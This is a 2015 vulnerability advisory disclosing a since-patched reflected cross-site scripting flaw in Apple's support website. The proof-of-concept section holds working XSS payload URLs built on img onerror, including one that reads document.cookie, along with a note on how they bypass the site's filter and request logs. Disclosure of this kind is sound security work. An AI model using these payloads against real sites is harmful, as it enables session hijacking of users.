Document Title:
===============
Apple Support - Permission Exception Web Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1531
Apple ID: 624514370
Release Date:
=============
2015-08-13
Vulnerability Laboratory ID (VL-ID):
====================================
1531
Common Vulnerability Scoring System:
====================================
3.3
Product & Service Introduction:
===============================
Apple Inc. is an American multinational technology company headquartered in Cupertino, California, that designs, develops, and sells
consumer electronics, computer software, online services, and personal computers. Its best-known hardware products are the Mac line
of computers, the iPod media player, the iPhone smartphone, the iPad tablet computer, and the Apple Watch smartwatch. Its online
services include iCloud, the iTunes Store, and the App Store. Apple`s consumer software includes the OS X and iOS operating systems,
the iTunes media browser, the Safari web browser, and the iLife and iWork creativity and productivity suites.
(Copy of the Homepage: https://en.wikipedia.org/?title=Apple_Inc. )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an client-side input validation web vulnerability in the official Apple support online-service web-application.
Vulnerability Disclosure Timeline:
==================================
2015-06-21: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2015-06-22: Vendor Notification 1 (Apple Product Security Team)
2015-07-13: Vendor Response/Feedback (Apple Product Security Team)
2015-08-06: Vendor Fix/Patch (Apple Developer Team - Cupertino)
2015-08-13: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Apple
Product: Apple Support - Online Service (Web-Application) 2015 Q2
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Low
Technical Details & Description:
================================
A non-persistent input validation web vulnerability has been discovered in the official Apple support online-service web-application.
The security vulnerability allows remote attackers to manipulate client-side application to browser requests to compromise user or
admin session information.
The vulnerability is located in the `specs` and `downloads` module of the apple support online-service website. Remote attackers are able to
inject malicious script codes to client-side application requests. Remote attackers are able to prepare special crafted weblinks to execute
client-side script code that compromises the apple user/admin session data. The execution of the script code occurs in the permission denied
exception handling of the support website. The injection point of the issue is the specs and downloads module. The attack vector of the
vulnerability is located on the client-side of the online-service and the request method to inject or execute the code is GET.
The online-service of the apple support site impact a basic validation that will become visible after the first payload of the poc is executed.
This filter parses the input of basic injected frames and script tags but img src and the new html5 tags bypass the mechanism to compromise.
The security risk of the non-persistent cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.3.
Exploitation of the non-persistent cross site scripting web vulnerability requires no privilege web application user account and low user interaction.
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects, non-persistent
load of malicious script codes or non-persistent web module context manipulation.
Request Method(s):
[+] GET
Vulnerable Service(s):
[+] Apple Support (support.apple.com)
Vulnerable Module(s):
[+] downloads
[+] specs
Affected Module(s):
[+] Exception Handling - Permission Denied
Proof of Concept (PoC):
=======================
The client-side vulnerability can be exploited by remote attackers without privilege application user account and with low or medium user interaction.
For security demonstration or to reproduce follow the provided information and steps below to continue.
PoC: Links
https://support.apple.com/downloads/#"><img src="c" onerror=alert('xss_by_samir')>
https://support.apple.com/en_US/specs/#%22%3E%3Cimg%20src=%22c%22%20onerror=alert%281%29%3E
PoC: Exception Handling
<HTML><HEAD>
<TITLE>Access Denied</TITLE>
</HEAD><BODY>
<H1>Access Denied</H1>
You don't have permission to access "http://support.apple.com/en_US/specs/%5C/%5C/%5C%22/%3E%3Cimg%20src=/%5C/%5C/%5C%22/c/%5C/%5C/%5C%22/%20onerror=alert(document.cookie)%3E" on this server.<P>
Reference #18.c3969d50.1434966414.5bc0f7a8
</BODY>
</HTML>
--- PoC Session Logs [GET] ---
11:59:24.548[0ms][total 948ms] Status: pending[] GET https://support.apple.com/en_US/specs/#%22%3E%3Cimg%20src=%22c%22%20onerror=alert%28document.cookie%29%3E
Load Flags[VALIDATE_NEVER LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[unknown] Mime Type[unknown]
Request Header:
Host[support.apple.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Cookie[s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2AC1F1B685012A7D-40000135C007C9A9[CE]; xp_ci=3z2smrILzCKrz4fJzB4qz9VQCi7kQ; s_ppv=acs%253A%253Akb%253A%253Asp%253A%253Aspecs%2520%2528en_us%2529%2C100%2C100%2C875%2C; s_fid=25E9020A9657AFFB-1A13B4FBFC975380; s_orientation=%5B%5BB%5D%5D; s_pathLength=support%3D1%2C; s_invisit_n2_us=4; s_vnum_n2_us=4|1; POD=us~en; s_orientationHeight=875; searchTermState=search]
-
11:59:25.610[188ms][total 188ms] Status: 200[OK]
GET https://securemetrics.apple.com/b/ss/appleglobal,applesupport/1/H.25.5/s78337633175992?AQB=1&ndh=1&t=22%2F5%2F2015%2011%3A59%3A25%201%20-120&fid=25E9020A9657AFFB-1A13B4FBFC975380&pageName=acs%3A%3Akb%3A%3Adl%3A%3Aspecs%3A%3Asearch%20results%20%28us-en%29&g=https%3A%2F%2Fsupport.apple.com%2Fen_US%2Fspecs%2F%23%2522%253E%253Cimg%2520src%3D%2522c%2522%2520onerror%3Dalert%2528document.cookie%2529%253E&cc=USD&ch=www.lo.support&server=new%20approach%20legacy&events=event6&c1=search&v2=acs%3A%20%2F%5C%2F%5C%22%2F%2F%3E&c4=https%3A%2F%2Fsupport.apple.com%2Fen_us%2Fspecs%2F%23%2522%253e%253cimg%2520src%3D%2522c%2522%2520onerror%3Dalert%2528document.cookie%2529%253e&c5=win32&c6=D%3D%22%3A%20%22%2BpageName&c7=acs%3A%3Auser%3A%3Aspecs%20resource%3A%3A%2F%5C%2F%5C%22%2F%2F%3E&c9=windows&c14=acs%3A%3Akb%3A%3Asp%3A%3Aspecs%20%28en_us%29&c20=non-store%20kiosk&c25=direct%20entry&c49=D%3Ds_vi&v54=https%3A%2F%2Fsupport.apple.com%2Fen_us%2Fspecs%2F%23%2522%253e%253cimg%2520src%3D%2522c%2522%2520onerror%3Dalert%2528document.cookie%2529%253e&h1=www.lo.support&s=1920x1080&c=24&j=1.8.5&v=Y&k=Y&bw=1920&bh=875&p=Adobe%20Acrobat%3BJava%20Deployment%20Toolkit%207.0.600.19%3BJava%28TM%29%20Platform%20SE%207%20U60%3BMicrosoft%20Lync%20Web%20App%20Plug-in%3BNVIDIA%203D%20VISION%3BNVIDIA%203D%20Vision%3BQuickTime%20Plug-in%207.7.6%3BShockwave%20Flash%3BSilverlight%20Plug-In%3BiTunes%20Application%20Detector%3B&AQE=1
Load Flags[VALIDATE_NEVER ] Größe des Inhalts[43] Mime Type[image/gif]
Request Header:
Host[securemetrics.apple.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0]
Accept[image/png,image/*;q=0.8,*/*;q=0.5]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[https://support.apple.com/en_US/specs//%5C/%5C/%5C%22///%3E%3Cimg%20src=/%5C/%5C/%5C%22///c/%5C/%5C/%5C%22///%20onerror=alert(document.cookie)%3E]
Cookie[s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2AC1F1B685012A7D-40000135C007C9A9[CE]; xp_ci=3z2smrILzCKrz4fJzB4qz9VQCi7kQ; s_ppv=acs%253A%253Akb%253A%253Asp%253A%253Aspecs%2520%2528en_us%2529%2C100%2C100%2C875%2C; s_fid=25E9020A9657AFFB-1A13B4FBFC975380; s_orientation=%5B%5BB%5D%5D; s_pathLength=support%3D1%2C; s_invisit_n2_us=4; s_vnum_n2_us=4|1; POD=us~en; s_orientationHeight=875; searchTermState=search; accs=o]
Connection[keep-alive]
Response Header:
Date[Mon, 22 Jun 2015 09:59:27 GMT]
Server[Omniture DC/2.0.0]
Access-Control-Allow-Origin[*]
Set-Cookie[s_vi=[CS]v1|2AC1F1B685012A7D-40000135C007C9A9[CE]; Expires=Wed, 21 Jun 2017 09:59:27 GMT; Domain=.apple.com; Path=/]
X-C[ms-4.9.6]
Expires[Sun, 21 Jun 2015 09:59:27 GMT]
Last-Modified[Tue, 23 Jun 2015 09:59:27 GMT]
Cache-Control[no-cache, no-store, max-age=0, no-transform, private]
Pragma[no-cache]
Etag["5587DC7F-5AEE-3B5813C3"]
Vary[*]
p3p[policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA"]
xserver[www148]
Content-Length[43]
Keep-Alive[timeout=15]
Connection[Keep-Alive]
Content-Type[image/gif]
Reference(s):
https://support.apple.com
https://securemetrics.apple.com
Solution - Fix & Patch:
=======================
2015-08-06: Vendor Fix/Patch (Apple Developer Team - Cupertino)
Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability in the exception handling is estimated as medium. (CVSS 3.3)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [samir@evolution-sec.com]
Disclaimer & Information:
=========================
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